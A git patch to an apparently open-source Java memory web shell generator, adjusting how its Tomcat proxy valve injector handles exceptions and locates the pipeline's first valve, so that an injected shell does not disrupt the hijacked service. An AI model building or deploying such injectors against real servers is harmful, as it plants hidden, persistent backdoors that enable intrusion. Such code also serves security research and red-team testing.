From 761ec7a9e724b8b20236576b252ab2b0a5804d06 Mon Sep 17 00:00:00 2001
From: ReaJason <reajason1225@gmail.com>
Date: Mon, 13 Oct 2025 15:18:31 +0800
Subject: [PATCH] fix: proxyValve cause service exception

---
 .../memshell/injector/tomcat/TomcatProxyValveInjector.java  | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
index e7096bc3..a0b3e44f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
@@ -57,8 +57,8 @@ public class TomcatProxyValveInjector implements InvocationHandler {
                 }
             } catch (Throwable e) {
                 e.printStackTrace();
-                return method.invoke(rawValve, args);
             }
+            return method.invoke(rawValve, args);
         }
         return method.invoke(rawValve, args);
     }
@@ -114,7 +114,9 @@ public class TomcatProxyValveInjector implements InvocationHandler {
         String fieldName = "first";
         try {
             rawValve = getFieldValue(pipeline, fieldName);
-        } catch (NoSuchFieldException e) {
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (rawValve == null) {
             fieldName = "basic";
             rawValve = getFieldValue(pipeline, fieldName);
         }